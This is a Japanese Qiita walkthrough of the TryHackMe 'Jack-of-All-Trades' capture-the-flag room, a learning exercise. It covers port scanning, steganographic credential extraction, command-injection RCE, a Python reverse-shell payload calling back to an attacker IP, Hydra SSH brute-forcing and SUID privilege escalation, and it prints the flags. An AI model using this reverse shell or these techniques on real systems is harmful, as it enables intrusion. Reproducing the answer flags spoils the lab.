0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「Jack-of-All-Trades」のWalkthroughです。

Task1

Q1.User Flag

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.212.81 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_http-title: Jack-of-all-trades!
80/tcp    open     ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 13:b7:f0:a1:14:e2:d3:25:40:ff:4b:94:60:c5:00:3d (DSA)
|   2048 91:0c:d6:43:d9:40:c3:88:b1:be:35:0b:bc:b9:90:88 (RSA)
|   256 a3:fb:09:fb:50:80:71:8f:93:1f:8d:43:97:1e:dc:ab (ECDSA)
|_  256 65:21:e7:4e:7c:5a:e7:bc:c6:ff:68:ca:f1:cb:75:e3 (ED25519)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 http Apache httpd 2.4.10
80 ssh OpenSSH 6.7p1

ディレクトリの列挙を行いましたが、めぼしいものは見つかりませんでした。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.212.81:22/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
                        [Status: 200, Size: 1605, Words: 196, Lines: 25, Duration: 237ms]
assets                  [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 236ms]
[INFO] Adding a new job to the queue: http://10.10.212.81:22/assets/FUZZ

[INFO] Starting queued job on target: http://10.10.212.81:22/assets/FUZZ

                        [Status: 200, Size: 1547, Words: 92, Lines: 20, Duration: 246ms]

22番ポートでWebサイトにアクセスできました。

home page.png

ページの文からJackというユーザー名を発見しました。

ソースコードを見るとコメントアウトで/recovery.phpパスとbase64でエンコードされた文字列を発見しました。

home page source.png

文字列をデコードするとJohny Gravesというユーザー名とu?WtKSraqというパスワードを発見しました。

$ echo -n "UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg==" | base64 -d
Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq

/recovery.phpへアクセスします。

recov.png

ソースコードを見るとまた別のエンコードされた文字列を発見しました。

recov source code.png

From Base32->From Hex->ROT13の手順でデコードするとRemember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S.という文言とヒントに短縮URLを発見しました。

decode recov string.png

ヒントの短縮URLはステゴサウルスのWikipediaページでした。

クレデンシャル情報はホームページにあると言われているのでホームページの画像ファイルに注目しました。
まず、stego.jpgからu?WtKSraqのパスワードを使用して隠されたcreds.txtを発見しました。

$ steghide extract -sf stego.jpg                        
Enter passphrase: 
wrote extracted data to "creds.txt".

ファイルの中に認証情報はありませんでしたが、方向性は合っていると言われました。

creds.txt
Hehe. Gotcha!

You're on the right path, but wrong image!

jackinthebox.jpgからは何も見つかりませんでした。

$ steghide extract -sf jackinthebox.jpg 
Enter passphrase: 
steghide: could not extract any data with that passphrase!

header.jpgからcms.credsを発見しました。

$ steghide extract -sf header.jpg      
Enter passphrase: 
wrote extracted data to "cms.creds".

cms.credsの中に認証情報を発見しました。

cms.creds
Here you go Jack. Good thing you thought ahead!

Username: jackinthebox
Password: TplFxiSHjY

この情報を使ってログインに成功しました。

after login.png

本文からcmdパラメータでコマンドを実行できそうなので試すとコマンドの実行に成功しました。

success rce.png

リバースシェルの待ち受けをします。

$ nc -lvnp 1234

リバースシェルのパラメータを付与してリクエストを送信します。

?cmd=python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn("sh")'

シェルの獲得に成功しました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.97.18] 50840
$ whoami
whoami
www-data

/home/jacks_password_listからJackのパスワードリストを発見しました。

$ cat /home/jacks_password_list
cat /home/jacks_password_list
*hclqAzj+2GC+=0K
eN<A@n^zI?FE$I5,
X<(@zo2XrEN)#MGC
,,aE1K,nW3Os,afb
ITMJpGGIqg1jn?>@
0HguX{,fgXPE;8yF
sjRUb4*@pz<*ZITu
[8V7o^gl(Gjt5[WB
yTq0jI$d}Ka<T}PD
Sc.[[2pL<>e)vC4}
9;}#q*,A4wd{<X.T
M41nrFt#PcV=(3%p
GZx.t)H$&awU;SO<
.MVettz]a;&Z;cAC
2fh%i9Pr5YiYIf51
TDF@mdEd3ZQ(]hBO
v]XBmwAk8vk5t3EF
9iYZeZGQGG9&W4d1
8TIFce;KjrBWTAY^
SeUAwt7EB#fY&+yt
n.FZvJ.x9sYe5s5d
8lN{)g32PG,1?[pM
z@e1PmlmQ%k5sDz@
ow5APF>6r,y4krSo

これをローカルに保存し、Hydraで総当たりします。

$ hydra -f -l jack -P ./jack_pass_list 10.10.97.18 -s 80 ssh

パスワードが判明しました。

[80][ssh] host: 10.10.97.18   login: jack   password: ITMJpGGIqg1jn?>@

そしてSSH接続に成功しました。

$ ssh -p 80 jack@10.10.97.18  
jack@10.10.97.18's password: 
jack@jack-of-all-trades:~$

/home/jack/user.jpgを発見したのでscpコマンドなどでローカルに保存します。

$ scp -P 80 jack@10.10.97.18:/home/jack/user.jpg ./
jack@10.10.97.18's password: 
user.jpg                                                                           100%  286KB 171.0KB/s   00:01  

画像からユーザーフラグを入手できます。

user flag.png

A.securi_tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}

Q2.Root Flag

Hint./root/root.txt

SUIDの検索をすると/usr/bin/stringsにSUIDが設定されていると分かりました。

$ find / -user root -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/strings
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/procmail
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su

stringsコマンドで/root/root.txtを読み込んでルートフラグを入手できます。

$ /usr/bin/strings /root/root.txt
ToDo:
1.Get new penguin skin rug -- surely they won't miss one or two of those blasted creatures?
2.Make T-Rex model!
3.Meet up with Johny for a pint or two
4.Move the body from the garage, maybe my old buddy Bill from the force can help me hide her?
5.Remember to finish that contract for Lisa.
6.Delete this: securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}

A.securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?